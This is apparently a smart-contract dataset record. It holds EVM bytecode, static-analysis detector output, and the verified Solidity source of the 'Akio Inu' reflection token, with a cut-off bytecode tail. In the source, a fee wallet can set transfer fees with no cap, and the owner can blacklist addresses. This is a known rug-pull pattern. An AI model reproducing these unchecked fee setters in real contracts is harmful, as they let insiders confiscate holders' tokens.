86803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d4565b845163ffffffff9182169450610724935016905082611714565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169a565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176a565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f1565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d4565b845163ffffffff91821694506000935061091792501683611714565b61070810949350505050565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109865760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098e61113a565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b85783866109bb565b85845b5061ffff805491925060009182916109d691600191166116f1565b61ffff1661ffff81106109f957634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692635909c0d5926004818101939291829003018186803b158015610aa757600080fd5b505afa158015610abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adf919061163a565b610ae991906116d2565b610af391906116b2565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5a57600080fd5b505afa158015610b6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b92919061163a565b610b9c91906116d2565b610ba691906116b2565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0357600080fd5b505afa158015610c17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3b91906115d4565b63ffffffff1692505050836000015163ffffffff16811415610ccd5761ffff8054600091610c6c91600291166116f1565b61ffff1661ffff8110610c8f57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce29063ffffffff1683611714565b90508015610cf05780610cf3565b60015b90508a6001600160a01b0316866001600160a01b03161415610d2f57610d2885602001516001600160701b031685838d6110ff565b9750610d4b565b610d4885604001516001600160701b031684838d6110ff565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d81578487610d84565b86855b5061ffff80549192506000918291610d9f91600191166116f1565b61ffff1690506000610db18783611714565b9050610dd6604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f26575b84841015610f2157610e2384600161169a565b905060008461ffff8110610e4757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea657634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0394921692916103c49161172b565b610f0d908761169a565b955083610f198161176a565b945050610e10565b611033565b8484101561103357610f3984600161169a565b905060008461ffff8110610f5d57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbc57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101594921692916103c49161172b565b61101f908761169a565b95508361102b8161176a565b945050610f26565b61103d8a876116b2565b985060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109a57600080fd5b505afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d291906115d4565b855163ffffffff91821694506110ec935016905082611714565b9850505050505050505094509492505050565b600082620100015486866111139190611714565b61111d90856116d2565b61112791906116b2565b61113191906116b2565b95945050505050565b61ffff80546000918291829161115391600191166116f1565b61ffff1661ffff811061117657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b15801561121357600080fd5b505afa158015611227573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124b91906115d4565b84519093506000925061125f91508361172b565b90506107088163ffffffff1611156114cc576000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d657600080fd5b505afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e919061163a565b61131891906116d2565b61132291906116b2565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c1919061163a565b6113cb91906116d2565b6113d591906116b2565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141c83611748565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145957634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600195945050505050565b6000935050505090565b80356001600160a01b03811681146114ed57600080fd5b919050565b80516001600160701b03811681146114ed57600080fd5b60008060006060848603121561151d578283fd5b611526846114d6565b92506020840135915061153b604085016114d6565b90509250925092565b60008060008060808587031215611559578081fd5b611562856114d6565b935060208501359250611577604086016114d6565b9396929550929360600135925050565b600080600080600060a0868803121561159e578081fd5b6115a7866114d6565b9450602086013593506115bc604087016114d6565b94979396509394606081013594506080013592915050565b6000806000606084860312156115e8578283fd5b6115f1846114f2565b92506115ff602085016114f2565b9150604084015163ffffffff81168114611617578182fd5b809150509250925092565b600060208284031215611633578081fd5b5035919050565b60006020828403121561164b578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168b5781518452928401929084019060010161166f565b50505092019290925292915050565b600082198211156116ad576116ad611785565b500190565b6000826116cd57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116ec576116ec611785565b500290565b600061ffff8381169083168181101561170c5761170c611785565b039392505050565b60008282101561172657611726611785565b500390565b600063ffffffff8381169083168181101561170c5761170c611785565b600061ffff8083168181141561176057611760611785565b6001019392505050565b600060001982141561177e5761177e611785565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220ec4032a6e9c8a8a5f22ddb49e0b754f4e6bd04a0cd656c00c491dcc889c9cc4a64736f6c63430008040033a264697066735822122092b10dd736cc3bd15a6da4e784219ac7467fa5ff250fda5e1a1fb96b73859e0564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,181
0x7ef5046cf75e64d0eab0bb2658ec06814bf9d92d
/** *Submitted for verification at Etherscan.io on 2021-10-28 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Akio is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 4; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0x0aaF0Bb10911E8fEC6d56A21567720D0d6dbE84e); address payable private _feeAddrWallet2 = payable(0x0aaF0Bb10911E8fEC6d56A21567720D0d6dbE84e); string private constant _name = "Akio Inu"; string private constant _symbol = "AKIO INU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f416b696f20496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f414b494f20494e55000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff